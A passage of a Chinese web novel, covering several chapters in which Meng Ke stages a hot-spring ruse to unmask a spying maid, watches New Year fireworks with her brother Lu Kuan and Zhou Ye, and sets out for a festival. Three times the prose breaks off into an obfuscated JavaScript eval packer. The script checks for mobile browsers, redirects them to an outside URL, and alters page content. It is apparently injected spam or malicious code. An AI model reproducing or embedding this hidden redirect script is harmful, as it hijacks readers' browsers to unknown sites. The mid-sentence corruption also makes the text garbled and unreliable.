孟珂无语地看了他一眼，哭笑不得地摇了摇头，又连连点起头来：“是，是，是，那是。” 说着，抬了下眉毛，笑着看他道，“二哥哥，有些日子没找人画像了吧？不找人记录一下你如今的风姿？就在这风景如画的镜月湖边……” 卢宽垂下眼，迟疑了一下，竟带了点羞怯的意味，笑道：“还是......不了吧。” 孟珂心下笑道，总算是长出点儿廉耻心了，也不算白吃了这么多年饭。 就在她觉得孩子终于长大了些，生出了点儿老怀甚慰的感慨之时，就听他补了一句。 “我最近……长胖了点儿。等我先减一些，风姿最佳的时候，再画。” 孟珂：“……” 得，终究还是白吃了。 孟珂洗涮道：“你什么时候都风姿卓绝，无论胖瘦都绝代风华，什么模样都是最佳！” 卢宽却抬手一挡，一派认真样道：“不不不，我对自己还是有点数的——更是有要求的，还是再瘦个两分最好。” 孟珂不想再听下去了——说起这事儿，他三天三夜都不嫌久。她又是点头，又是摇头地笑着，往书案前走去。 卢宽起身跟了上去，坐在她案旁，斜倚着案头，一派欲说还休的模样。 孟珂还以为他要继续说自己的风姿问题，却听他问：“你就不好奇，那什么门主……长什么样？” 哟，他还真感上兴趣了？ 孟珂半是意外，半是哭笑不得地看了他一眼：“二哥哥听闻谁家小姐生得美，便会好奇？” 不，他会好奇。只是，那份好奇跟男女之情、异性相吸没太大关系，更可能是想与那人比上一比。 “我好奇什么？”卢宽往后一仰，嗤笑道，“这天下女子……” 孟珂往砚台里倒了点水，边研起墨来，边接过话道：“对！是！这天下女子，以二哥哥的标准，其中九成，不，九成九，都太过粗鄙丑陋，都算不得女子。” 连她也在这九成九内，不过是因为情分，他口下留情罢了。 说着，她研墨的手一顿，促狭地道：“二哥哥既然好奇，不如会会他去？” 卢宽却翻捡着一旁画缸里的东西，挑挑拣拣地拿出来看，口中支吾道：“那也……岂不是……可不能太抬举他了。” 孟珂开始拆起书信来，叹道：“反正我是不想去好这个奇的，免得有人日后追着我问，‘吾与门主，孰美？’” 卢宽“唰”地打开一把不知从哪儿摸出的折扇，道：“这还用问？” 孟珂头也不抬地道：“自然不用，我必定觉得二哥哥最美。就只怕啊，有些人得琢磨，‘吾妹之美我者，私我也。’闹得自己不痛快罢了。” *** 熹园侧门外。回雪拿出一包红纸封好的银子，递给身旁的小厮。 小厮噔噔噔几步跑下台阶，扔给送烟火的车队头领。那头领是个精壮的汉子，手一伸便轻松接住了，顺手掂了掂，只多不少，脸上当即笑开了花。 回雪笑道：“这是我家小姐赏的，辛苦兄弟们走这一趟，拿去打点酒吃。” 那头领忙称谢不迭，又恭敬地退到车辕处，才侧身坐了上去，一扬鞭，带队离开。 这一行人走街串巷，吱吱呀呀地一路走到了邀月阁后门。 车队还没停，那头领就高喊了一声：“梁老爷给苏姒姑娘定的烟火到了。” 看门的闻声看过来，瞧着车队里那堆堆叠叠的烟花，皱眉问：“怎么来得这么晚，天都黑了。姑娘都着人问过好几回了。” 那汉子陪笑道：“实在对不住！今年订烟花的，比往年多出好些，人手一时便不够了，出货、送货都要慢些。不过，今夜怎么都是要送到的，不敢耽误大家明日过年。” 说着，上前，握着看门人的手，不动声色地塞了些碎银子，“烦请小哥通报一声，兄弟们早点完事，两相便宜。” 那看门的脸色顿时缓了，点头道：“你们也不容易。累是累点，但生意好，你们也能过个好年了。” 送货的汉子点头弯腰地笑道：“谁说不是呢。” 阁内，花魁娘子苏姒正斟酒请菜，施展百般柔情，可那梁云钦老爷的兴致却不怎么高。 苏姒是多眼尖的人，早看出他心头百般纠结，面上愁云笼罩，此时也没法装看不见了，温声含笑地嗔问道：“老爷这是怎么了？昨夜回来便一直闷闷不乐，可是妾身哪里照顾不周了？” 梁云钦看了她一眼，顺手在腰上掐了一把，皮笑肉不笑地道：“美人在怀，佳肴美酒在前，我能有什么不乐的？” 他看了一眼窗外的天色，把话题转开了去：“那什么……烟火呢？还没送来？” 正这时，便听屋外有人报说，烟火到了。 “杨管家！”梁云钦抬手一挥，“你带人下去看看。” 苏姒闻言也高兴起来，忙吩咐自己的小丫头：“你带杨管家去寻个地方放。” 两人应声要去。 梁云钦又叫住了杨管家：“完事你就回府吧，看看家里……过年的事宜，可还有什么不周全的。” 杨管家下得楼去，只点了几个人，交给苏姒的丫头听吩咐，便出了邀月阁，准备家去。 只见随从张举坐在马车辕上，明明脸就冲着大门，却仿佛没看见他出来，兀自呆坐不动。 杨管家喊了一声：“车赶过来！” 张举却仿佛还是没听见，杨管家眉头一皱，又喊了声：“张二！” 还是没反应。 杨管家几步急走上去，抬手就拍在他后脑上。 张举没防备，差点给一掌乎下马车去，踉跄了几步才站住了：“要走了？走了，走了。” “你小子昨夜是不是又赌钱去了？” “没有——”张举拉长了声音道，忙去放脚凳。 “没有？”杨管家哼了一声，登上车去，“没熬夜赌钱，怎么这副衰样？你这一整日都魂不守舍，做事说话都颠三倒四的！你以为，你不承认，我就查不出来了？” 张举忙笑道：“就是......就去了会儿， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999138|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一小会儿。” 说着，屁颠儿屁颠儿地收起脚凳，坐上车辕，见杨管家放下车帘，才转回脸来——立刻又阴云笼罩了起来。 *** 却说回雪，回了烟雨斋，见小姐在案前举着笔，撑着下巴发呆，听见她进门也没动。 她上前去，把笔抽了出来：“小姐还在想什么呢？” 孟珂身子动了动，淡淡地道：“我在想，这盘棋，下一步怎么动。” “想到了？” 孟珂笑道：“这曾怀义死后，拖了不少日子才结案，底下早就暗流汹涌了。一时没闹起来，不过是一怕引起官府注意，二有上头人压着。如今，案子结了，上头的人也走了，有些人终究是要按捺不住了。这说话也就要……乱了。” 回雪：“小姐担心乱起来？” 孟珂笑着摇头。 乱起来，才有机可乘。 乱起来，大鱼才会被拖下场——眼下虽然还没露尾巴，但好歹看见涟漪了。 这盘棋，花了那么久，布局至此，也该吃子了。 既要动手，她不免要盘一盘那些明处暗处的子。 曾怀义的上头，有提拔他的孙秉。这人在明处，朝堂上混了大半辈子，是个滑不溜手的，哪方都不得罪，也没有明确派系。 还有老袁头的“不敢说之人”。 她那日对老袁头说不难查，只是诈他而已。但凡是条鱼，谁还亲自出手呢？不都是隐身其后，让层层爪牙动手。连前后爪、左右爪都未见得知道对方。真出了什么事，也不过换个爪子的事，哪那么容易查到真佛身上。 那死士级别的黑衣人，到底有多大能量？ 这两拨人，到底本属一党，还是因故联手呢？又或是纯属偶然让她碰上？ 除了这些人，在那看不见的暗处，在上头，又还有什么人？ 孟珂渐渐开始觉得，梁家大宅的案子，跟樊仲荣的案子本质上应该是不一样的——只怕不是什么简单的图财害命，而是有其他因由的。 那曾怀义，想必也不过是被人指使，替人办事的爪牙的爪牙而已…… 回雪收拾着案头，手上突然顿了顿：“我一直想问，小姐为何要这么步步为营，非得如此谨慎？就不能手起刀落，把仇人一个个除掉吗？” 孟珂看看她，笑了。 “是啊，手起刀落，一个接一个，听起来多爽快啊！” 顿了顿，她叹道：“有些人会选择直接手刃仇人，不问为什么，只要他们死就够了——那样的复仇是最最简单的，哪怕需要舍下己身，鱼死网破。可那样的复仇，根本谈不上惩罚，也谈不上消解——曾怀义死了，你看我有一丁点爽快的感觉？” 她的恨与怨，没有一丁点消泯，不只是因为他死前没受折磨，死后没受羞辱，还因为……她没来得及问出为什么。 孟珂看着回雪：“譬如你，当年，你们一家遇上的是土匪强盗。那把人抓了、杀了，就完事了。你不会去问土匪强盗为何害你。” “可如果这么做的人，是你家的亲朋是故旧，是那些日日跟你相处的人，是你最亲、最信任的人呢？你还会什么都不想，只杀了他们，以命抵命就了事么？” “陌生人可夺取性命，但只要将其正法，失去亲人的伤痛，天长日久也就慢慢愈合了。因为那样的伤害，只在皮肉躯体。可身边人的背叛，最最受伤的，是人心。” “最有杀伤力的，永远是自己人。最大的仇恨，永远是被你倾心相待过的人辜负、背叛——敌人、陌生人是没机会辜负、背叛你的。” 孟珂的眼睛突地幽深如渊，里面还闪烁着些如刀似剑之光。 “当被这样的人伤害、辜负、背叛，你会想知道为什么。会想知道，‘为什么我一片真心对你，你却这样对我’。‘为什么我没有一丁点对不起你，你却要这样对我’。你会问，‘为什么自己会落陷人手？为什么自己会识人不明，看事不清？’你还会怀疑，是不是自己的过错，是不是自己应受的……你不只是恨那些人，你还会恨自己......” 她顿了顿，讥笑道，“你会陷入无数个这样的为什么，而这每一个为什么，都是一把刀。这无数把刀，会一遍又一遍地在你心里剜着、割着、拧着、转着......哪怕在天长日久之后，你甚至连凶手的面貌都渐渐模糊了之后，也永远无法真正愈合。” “皮肉之伤易好，可那被背叛、被辜负的伤害——如果不搞清楚，不理明白，便是一辈子，都无法愈合。” 单纯让他们死，怎么可能消解，怎么可能了结？ 42. 泡汤 除夕这日，熹园并没有进入万事俱备，只待过年的闲适。将近午时，卢宽才勉强按他的品味把府里上上下下验收完。 下人们明显都松了一口气。 孟珂赶紧让人传膳，免得卢宽又想起哪里来，没完没了下去。 院外，熹园的下人走在前，洗墨捧着礼盒跟在后，低声同涤砚嘀咕道：“哪有除夕还上别人家吃饭的？连我这样脸皮厚的……都不好意思了。” 周冶气闷，声音压在嗓子眼里道：“不想办法替我分忧，还好意思嫌丢人？前日来的时候把话说明了，还用得着今日尴尬么？” 洗墨还嘴道：“公子你自己怎么不说！” 周冶倒吸了一口气；“你瞧瞧人家回雪，跟小姐一唱一和，哪回不是默契十足。你们呢？一个个的，不知道替主子分忧分劳，还有脸抱怨。都要我来，要你们何用！” 洗墨陪笑道：“公子，不兴这样比的。主子们总觉得，都是别人家的奴才好。那奴才还觉得，别人家主子好呢……” 自然，这后半句含糊得不敢让人听清。 “你瞎嘀咕什么呢？” 周冶话没说完，就听到卢二公子的声音传了出来。 “这周大公子，是家中没饭吃吗？” 果然是聪慧过人哪！周冶心下笑道，脸上也端起笑来，走进去道：“卢二公子！” 他索性心一横，接着卢宽的话道，“不瞒一许兄，我那衙门的厨娘，前几日因故让我给撵了。不知......过年这几日，可在府上叨扰些日子？” 还真是来吃饭的？卢宽不过随口瞎嚷一句，哪知竟正中靶心，还没来得及因为背后说人被抓现行而尴尬，就惊得睁大了双眼。 周冶道：“我想来想去，也就跟一许兄最投缘。再说了，一许兄想必从京中带了不少美食。二来嘛，我这宦囊羞涩，仅有的一点积蓄，前些日子又借与了令妹……大过年的，上谁家打扰都冒昧，不如就打扰你们二位了……” 听到借银子，卢宽哪里还听他说别的什么，猛地转头去看孟珂，一脸的不可置信。 孟珂让他看得有点头皮微麻，不满地扫了周冶一眼，淡淡地道：“是……有这么回事。” 出息了，都会朝男人伸手借钱了！再过几日，可不就要上天了！卢宽平生头一回瞪了她一眼，气呼呼道：“多少？” “二十……多两。” 二十多两？够做什么使的？就算一时没带银子，借了没还又是什么道理？ 当着周冶的面，好多话不便问，卢宽只得按下了满腹狐疑，气呼呼地吩咐青汝：“快去封了银子来。” 周冶忙抬手拦道：“一许兄误会！我不是来要钱的——大过年的，拿钱也没处吃饭去。我这只是......说明不得不叨扰的原委。再说了，这借银一事，也是我与小姐之间的事，一许兄不必费心。” 洗墨冷笑一声，嘀咕道：“也不知到底是吃饭来的，还是冲着前一日得罪了人姑娘，看眼色来的。” 涤砚扯了扯他袖子：“慎言。” 侍剑也给了他一个“就你话多”的眼神。 说话间，青汝已经捧了银子上来。 卢宽脑子发懵，来回转着周冶那半句“我与小姐之间的事，一许兄不必费心”，冷笑一声道：“便是那寒门小户，到了节下也是要清偿债务的，断没有留到第二年之理。” “二哥哥！”孟珂笑道，“周大人这是故意臊我呢。我是借了周大人银子，但那自有缘故。” 卢宽看了她一眼，明显还没顺过气来，但还是强忍下了，一摆手道：“罢了，这些银子，当是还钱也好，当是节礼赏给周大人的仆从也罢，你们自己论，我不管。” 说完，还剜了孟珂一眼，心下依旧噼里啪啦地冒着火星子，不管什么缘故，花别的男人的银子算什么？ 青汝闻言，将银子递向洗墨几人。 洗墨看了周冶一眼，见他轻轻眨眼，示意收下，这才收了。 孟珂又笑着对周冶道：“承蒙大人不嫌弃，就留下来一起过年吧。别的府上都是阖家团聚，咱们这就算……同乡年宴吧。” “不过，丑话说在前头，不动手的可没饭吃。今夜，我和哥哥准备做几个地道的京菜，园里的厨子原不长于此，少不得自己亲自下厨，正缺几个帮手，可巧这就来人了。” 侍剑忙道：“我可以……切菜！” 涤砚忙拉了拉他。 一圈下人都笑了。哪里真需要他们帮手，即便厨子真不擅长，帮手还缺吗。 孟珂又补了一句，“今夜还有烟火呢，人多，才热闹。” 洗墨最是爱玩爱热闹，虽未言语，已经一脸雀跃。 *** 就这样，谁也没想到，这个年，竟是他们仨凑在一起，过了个多少有些奇怪的除夕。 饭后，下人们捧上茶来吃了，坐着闲谈守岁。孟珂看看时辰，给卢宽使了个眼色。 卢宽会意，站起来伸展了一下他的长手长脚，又搓着手取暖道：“这夜长天寒，咱们莫如去泡一泡汤泉，暖暖身子，也解解乏？泡完了正好宵夜，煮酒待新年。” 周冶笑道：“久闻熹园的汤泉设计极精巧，又是依山景，又是借湖色的，在整个绥陵城都是数一数二的，一直没机会得窥究竟。今日少不得要借光，享受一回。” 说着，又意味深长地看孟珂道，“听说，小姐入住前，园子还重又整修过，将原本的池子扩大了许多。那挖出的土都堆成小山了。也不知，那池子到底多大？怕是都能游水了？” 卢宽也听出了其中的意味，皮笑肉不笑地道：“舍妹体虚，汤泉虽养人，泡着却也容易晕，需要丫头在一旁服侍，池子自然需要大一些。” 说着，他作出请走的姿势道：“元亨，请吧！” 孟珂仍去她常去的花水汀最适合临湖观花看水之处。 卢宽则带着周冶，一并去了听涧池，背借山景，旁临溪涧，可听水声轻鸣低奏。 洗墨、侍剑和涤砚三人，则由青汝带着，去了木石泉，以葱郁的林木为幕，赏乱石激荡下的白水之景。 一入花水汀，回雪便将下人都遣去了外院，只留五儿一个在屋内伺候。 下人一散，孟珂已换了五儿的装束，跟在回雪身后，从另一侧出去，穿屋过廊，一直走到了花园的西北角。 西北角最是僻静，只设了座佛堂，寻常无人会去。 两人一路小心，走到佛堂门口，仔细看了看身后，见无人跟随，才轻轻推门而入。 回雪关了门，随即守在门口。只孟珂一人绕到佛像后，在莲座旁蹲了下来，摸索着数起什么来。 不多时，只听得轻轻的“嘎吱”一响，佛像后的壁画墙上，洞开了一扇小门。 孟珂向回雪使了个眼色，转身进去了。 一进去，里面骤然一亮——屋内三面都是星星点点的长明灯，少说也有数百盏。 面北的堂上立了块牌位，却空无一字。 就在这时，花水汀外，小丫头芳儿突然弯腰下去，捂着肚子，低声哎哟了起来。 一旁想熟的丫头忙问：“你怎么了？” “姐姐，”芳儿抬起一张煞白的脸道，“姐姐，我那个来了……肚子痛得厉害，只怕还......弄脏了衣裤。” 丫头见她的脸都痛到拧起了，忙道：“那你快回去，歇一歇，也不用太着急回来——小姐这一进去，前后少说也得一个时辰，寻常也用不到什么人。” “谢谢姐姐。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小姐，泡了这许久，可要用点茶水？” 说罢，没有应答。 芳儿等了等，又大了点声，再问了一遍。 还是没应答。 芳儿心下更疑了，大着胆子走进内间，隔帘一看，惊了——里面竟空无一人，连池中的人也不见了。 她几步上前，撩起帘子，走到池边，四下一扫，确实没人。 这时，水里似乎有什么声音。她余光好像扫到了个白色的影子，不自觉地便低头往水里一看。 这一看可不得了。 水中漂着一张白刷刷的人脸，睁着无神的大眼，直勾勾地看着她，偏偏红唇却鲜艳欲滴，像是刚刚才生啖血肉。 更别提那一头漆黑的头发，漂散在水中，如幽深水底招摇的水草，仿佛下一刻便能伸出去缠人索命。 “啊——” 一声尖叫刚自喉头起，还未及出，就戛然而止。 芳儿晕倒在地。 身后露出个回雪，还举着方才那一记手刀。 随即，“哗啦”一声响，孟珂从水中直起身来，水顺着她面上、发丝顺滑而下。 “有小姐这么好看的水鬼吗？”回雪看着她笑道， 说着，收起手刀，两手拍了拍，看着地上的芳儿道，“只当我们不知道呢。留她到现在，不过是懒得换人折腾罢了。” 五儿也不知从哪里钻了出来，一身湿漉漉的，哼一声道：“越留，胆子倒是愈发大了。吓不死你！” 孟珂笑笑，一个转身，轻轻一蹬池壁，如鱼儿一样游开了。 43. 烟火 听涧池内，卢宽与周冶同泡一池。 两人皆身着白色寝衣，浸湿后，不免紧贴肌肤，透出胸前和臂膀的起伏来，不免相互打量了一眼，目光骤然相遇。 这甫一遭遇，卢宽的孔雀本能顿时便醒了。他抬臂搭上池边，看似随意地一展，现出双臂的遒劲线条来。 周冶看了不由一笑。 卢宽一边欣赏着自己的线条，一边笑道，“元亨如今乃一方之父母官，连我家阿珂也托你的福，得了照拂。只是......这熹园怎么说也是个小姐独居的府邸，要传扬出去……” “是不太合适！” 周冶笑着替他说出来了，伸了个懒腰，抬手放于脑后枕着，看了卢宽一眼道，“这不是一许兄你在吗？果真传扬了出去，那也是拜访一许兄，与小姐何干。” 说着，他话锋一转，“倒是我这几日看着，一许兄对令妹的心思之细，照顾之妥帖周到，实在生平罕见！这满京城的兄长里，怕是也找不出第二个来。” 卢宽笑道：“我与阿珂是至亲，用心用情，乃分所应当，怎么都不为过。” 说着，他像是忽然想起了什么，不经意地问道，“不知元亨，可定了亲？” “不曾。”周冶摇头道，也问道，“一许兄定了？” 卢宽也摇头：“倒还未定。不过，元亨为何至今尚未定亲，想是心气高，挑花了眼？” 周冶笑道：“一许兄还年长于我呢，不也至今还没定，那心气定然更高了。我倒是知道几个名门秀质——虽说也难堪与一许兄匹配，但也是数一数二的人物了，不如……” 卢宽打断道：“有劳元亨挂心。我上有兄长，于儿女之事上，不需要担负家族大责。倒是元亨你，毕竟是府上嫡长子，承嗣之事悉挑于你一肩，实在耽搁不得。” 周冶笑着摆手：“我不才，不是家中顶梁立柱之人，这事自有那愿意扛的人扛去，指望不到我头上。” *** 却说孟珂，待收拾了芳儿，泡了不多久，身上刚刚暖过来，便出水了——卢宽和周冶那二人想是已经起来多时了。 果然，出去一看，二人已在一旁暖阁里煮上酒了。 卢宽一见她，便起身上前看她：“你一向体虚，不宜泡过久，半个时辰就够。久了只怕要气短昏厥。” 又嘱咐起回雪，“小姐泡汤的时候一定要当心侍奉，千万不可离了人。” 回雪一一应了。 他却还没够，抬手去摸孟珂的头发，见还有些濡湿，忙将她斗篷的帽子扶起，戴严实了：“怎么头发还湿了，仔细湿气入体，头疼，这时最不可受风，也不知避一避。” 说着，转头去轻斥回雪，“你们伺候小姐，连这都想不到。” 孟珂笑道：“就几步路，哪里就吹着了。是我有点闷，想发散发散，不关她们的事。” “到火边烤一烤，”卢宽将她扶到炭盆边坐下，又吩咐一旁的青汝，“烫一杯热热的酒来。” 孟珂像个乖觉的人偶，含着笑，任他侍弄。 可周冶瞧着，偏生那照顾人的那个像个孩子，而被照顾的，目光里倒带着些宠溺，面上甚至也有些慈母看儿的神色来。 他看了半晌戏，才笑叹道：“日后，一许兄的夫人，必定是这世上最幸福的女子。” 卢宽看都没看他，脱口道：“日后，我们阿珂的夫君，才是这世上最幸福的男子。” 周冶“哦”了一声，明显不太信：“一许兄……舍得让小姐嫁出去？” 说着，意味深长地道，“也不知，要什么样的妹婿，才过得了一许兄这一关。” 他又拿眼睛扫着孟珂，笑道，“难怪听人说，上贵府提亲的人，无不汗颜而出——原来是有一许兄这样的兄长在侧。有这样的珠玉在前，莫说一许兄了，小姐自己，自然也是什么人都看不上了。” 卢宽目光都没从孟珂身上挪开，轻笑一声道：“连我都不如，那实在也没什么可嫁的。” 两人这样你一句我一句的，孟珂在一旁浑似没听见，更不像其他女子——听人议论自己亲事就害羞躲避，只是露出一点“怎么还没完没了上了”的神色。 周冶看着更觉有趣，继续道：“只一许兄便是如此，莫说府上其他亲长了。不知又是如何疼之爱之，珍之重之。这日后要娶小姐之人啊……” 他啧啧几声，摇头叹道，“我都替他捏一把汗。” “谁说我要嫁人？”孟珂突然道。 卢宽和周冶都愣了一瞬，同时看向孟珂。 她并没有生气，也没有害羞，语气和面色都冷静，仿佛在说“我不吃这个菜”一样，明确而又笃定。 两人又互看了一眼。这一眼中，一个在说“就你多话”，一个瞪着“让你多嘴”。 “好，不嫁。”卢宽顿了顿，笑道，“咱们不嫁，就在家，永远在家，哪儿都不去！” 说完，又轻轻睨了周冶一眼。 周冶看他的眼神，却有种难以言说的复杂，虽然他一时也有点说不上来那到底是什么。 那日，在熹园门口初见这二人时，他心中就有些惊异——实在没想到他们竟如此亲昵，但只那一眼便知道，他们之间必不是京中那些人口中的腌臜之事。 他的惊异，还有一重是来自于孟珂在卢宽面前才显现出的那番模样。 此前，他算是已经见识了此女的善变。她真真如水一般，时而激荡，时而汹涌，时而柔弱......可以冷如冰，也可以沸如腾，但凡此种种，都让人觉得她那似柔还刚的厉害。 但她与卢宽在一起的时候，却不再是那个难以捉摸的、百变近妖的女子，也不是刚柔并济、无孔不入、无事不成的女子，而是丢开了盔甲，卸下了心防，回归了一种柔软而温情的模样，有时甚至还带着一丝不易察觉的……脆弱——在她身上最最难看到的东西。 这二人无疑是极亲厚、极信任的，也是极疼惜彼此的，可是，那么好的感情中，分明又夹杂着一点说不上来的不对。 这几日看着，他好像抓到了一点点苗头。 ——卢宽对她的心疼与爱护，早已远超兄长应有。男人看男人的心思，只一眼就清楚了。他对自己分明的敌意与防备，更是比什么都说明问题。 ——可孟珂对他的态度，却有些扑朔迷离，既有着无人可比的亲昵，却似乎又总隔着点什么。她仿佛天然竖起了一道无形的墙，即便是卢宽，也是被隔绝在那之外的。 而卢宽自己对此是心中有数的，也因此有点小心，还有点不安。可他看着那条无形的线，怎么都不会轻易越了过去。 *** 回雪恰到好处地站出来，打破了沉寂：“小姐、公子，烟火是在园子里放，还是到水边去？” “到水边去！湖面开阔，又有水倒映，想是极好看的。”卢宽又问孟珂，“咱们就在观澜轩上看着，你看可好？” 孟珂点头。 周冶也附和道：“湖边放烟火的人想必不少，正经是个好去处。” 一行人说话便往水榭边去。 周冶一路走，一路不由去看孟珂，想着她说那句话到底存的是什么心思。 她若只是不想再听下去，像大多数女子一样，装个害羞、随便嗔怪两句就完了。何苦放出这种惊世骇言？倒像是有意说与人听的。 说给谁听的？现下……总不至于是自己吧。 可为什么呢？她总不至于真想在卢府寄人篱下一辈子。莫说她不是亲生的，便是亲生的，永远住在娘家不嫁，也得生出多少事来。 那她是另有打算？可是，既不留在卢府，也不嫁人，自己一个人要去哪里，又要做什么去？ 他就这么胡乱想着，不觉已经走到了。 抬眼一看，那水榭不知何时挂上了匾额，正是观澜轩三字。 周冶抬眼看着，对孟珂笑道：“这观澜二字，用在此处，原也算贴切。只是……小姐可不是那坐观波澜之人，而是引风弄潮之人。如此，这二字终究少了点什么。” 孟珂淡淡地应道：“公子这是夸我呢，损我呢。” 说完，也不与他纠缠，径直走到美人靠边。 天际挂着一线残月，夜空浮着大片大片墨蓝的云，湖面也映得明明暗暗的。 时不时地，有远远近近的烟火骤然升空，轰然炸开，旋即又被夜色所噬。 这镜月湖的风光，四季不同，早晚不一，日夜相异，哪怕是同一时节的月夜，也总不一样——怎么都看不够。 儿时，她就爱捧一卷书，独自坐在此处。低头看书，那是一书一世界；抬眼看湖，又是一日一种美。 每每这时，她便觉得，有好书静读，有好景坐看，世间再没有更好的日子了。 她甚至不只一次想过，如果有下辈子，她就变成这湖边的一棵树，也挺好。长长久久地站于此处，看着这湖光山色，旁观那人世变幻……也就够了。 而今，这样的想法更甚，做一棵树，不再当这七情六欲、贪嗔痴顽的凡人，也不去混那污浊糟烂的世，多好...... 突地，观澜轩下，一朵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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这个年，曾府异常冷清。大哥远驻边陲，已经几年没回来过年。而邵夫人自曾怀义死了，自己又死而不得后，精神一直不济，这日早早就放了许嬷嬷回自己府外的家去，自己上床躺下了。 合府只有曾铭一个人，孤单单地守岁。 他听着外面烟火声渐起，信步走到湖边，正是莫道今夜是除夕，独向湖月空嘘唏。 抬眼东望，见有一处烟火接连升空，好不热闹——瞧着倒像是熹园。 于是，他鬼使神差地遣人划了小舟，到了附近水面上一看，果真是熹园。 那水榭之上，仆从簇拥中，有几个人影，正笑闹着放烟火呢。 曾铭的视线不由有点模糊。 当年，那水榭之上，也曾有几个孩子在那里笑着闹着放烟火。只是，婉章妹妹胆小，总不太敢放，不像蕙儿，比男孩还胆大…… 不过数载，却早已物换星移，那一幕已经久远得像是上辈子的事。 有时候，连她们二人的脸，他都觉得模糊了——直到熹园重新又有了主人。 水榭之上的人，突然都看向了他这边，还有人伸手指着。他一时仿佛做错事被抓了现行，忙吩咐道：“走......快走。” 水声哗啦一响，小船在满湖烟火光中破水而去，倒像行在星河灿烂的九天银河之中。 孟珂身子弱，卢宽自不让她守岁到天明。她向来也不是看重年节之人，也没打算熬，乖乖回房去。 没进屋，她就吩咐回雪：“去把曾家送的年礼取来。” 回雪去将礼单和她觉得可能有名目的都拿了回来。 孟珂打开一看，目光中一时惊疑不定。 “小姐，怎么了？” 回雪低头一看，见里面都是折纸，奇怪地问，“这位曾二公子也是怪，这些东西虽精巧，却也只是小孩子的玩意儿，谁会拿来送礼啊。” “没什么。”孟珂心道，曾铭他......只怕早知道了；可他既知道了，怎么还…… 她盖上了箱子，又问，“对了，曾府那边可有异动？” “还没有。” 孟珂点点头：“继续盯着，随时来报。” 此时，曾铭已经弃舟登岸。 他背对着满湖烟火之光，深深地吐出一口气，似乎是攒起了些勇气，才迈进那显得愈发阴暗冷寂的曾府。 而此刻，暗处，有双眼睛闪着灼灼之光，正死死地盯着那府第。 44. 放生 熹园的人前夜虽闹得比平常晚了些，但好歹不像其他人家守岁至天明。 晨起，卢宽便去看孟珂，见她也照常起了，便催着快快梳洗，好瞧热闹去。 绥陵有过年放生的习俗，据传是先秦时起，保留至今的。年前，那诸多城中善人，便会赎买些野生的鸟雀禽兽虫鱼，待到初一日，去香火极盛的即是庵放生。 卢宽兴奋地道：“这正月初一的放生法会，说是一年里的头一个大热闹，据说那庵堂风水绝佳，风光独好，法会又蔚为壮观，正当去一观。” 听见没声音，他一看孟珂，虽已坐在了妆台前，却仍闭着眼，恍如梦游。 回雪笑道：“公子还不知道吗，咱们小姐每日起身，必要一碗酽茶下肚，才好慢慢醒神呢。你这会儿说话，不是瞎耽误自己功夫吗。” 五儿端茶进来，卢宽从她手中接过茶来，递给孟珂。 “你这回……来绥陵也那么多日子了，可去游过几处？” 酽茶下肚，半晌，孟珂才懒懒地睁了眼，含糊道：“你又不是不知道，我不爱凑那热闹。人一多，远远看着都烦，还别说上去凑了。” “你就当带我去看看。咱们就坐船上远远地看看都好，也不去跟人挤。大过年的，也成日窝在园子里？怎么也要四处走走，沾沾烟火气不是。你再这么离群索居，遗世独立下去，哪天直接就得道飞升了……” 说着，他自己也觉得这意喻不太好，分明有几分真在内，忙住了口。 他在妆台边坐下，就着孟珂的杯子也倒了杯茶喝，转而道，“大夫说了，你平日需多出去走走，少闷在屋子里。多动少思，多饮多食，才是养生之道。我在，你就是这个样子。我要不在，你无事只怕是大门不出二门不迈。” “好好好，去去去。” 孟珂睨了他一眼，故意扯了扯耳朵，笑道，“我说，我的二哥哥，你这才几岁呀，怎么就落了这唠叨的毛病。这以后上了年纪，还怎么得了！” 说着，转头问青汝，“你家公子在外头，也这样话多嘴碎吗？” 青汝忍笑道：“小姐还不知道吗，公子在外，那是冷面傲娇一个。” 这一屋子人，谁不知道二公子是眼高于顶，谁也不入法眼的，偏在小姐面前，那是一点脾气也没有，吃瘪也甘之如饴。 众人不由都扭过脸去，偷笑起来。 不管怎样，孟珂总算是被卢宽给拉上了船。 周冶是客，自然也邀着同去——夜深风寒，孟珂也让人收拾了厢房，留他住下了。 一路上，两个男人说些世家子弟近况，京中官场闲话。孟珂正好得闲，独自倚在舷窗上，看着湖上烟波。 晨雾渐渐散尽，日头越来越高，即是庵所在的半岛慢慢映入眼帘，越来越大。 那庵堂的位置果然极好，落于小山之上，背山面湖，几重山门自湖堤而起，长阶之上，已经布满了前来进香拜佛的善男信女。 就在那摩肩接踵的红男绿女中，一行黄衣女尼逆着人流，拾阶而下，正是主持放生法会的。 洗墨讨喜卖乖道：“赶早不如赶巧，公子小姐们都是好运之人。” “咱们先别靠岸了，就在湖上看，视野好，”卢宽指着一处湖面，吩咐熹园的船往湖边的放生碑靠，又看着孟珂道，“还不用跟人去挤。” “是呢！咱们离远点儿好。”洗墨道，“我听说，这法会的人太多，每年都有人受伤。有看热闹的时候，忘形没看脚下，从长阶上踏空滚下去的；也有在湖边被挤下湖的……平日倒也罢了，这年初一的，但凡有个意外，总是晦气，只怕一年都不安生。” 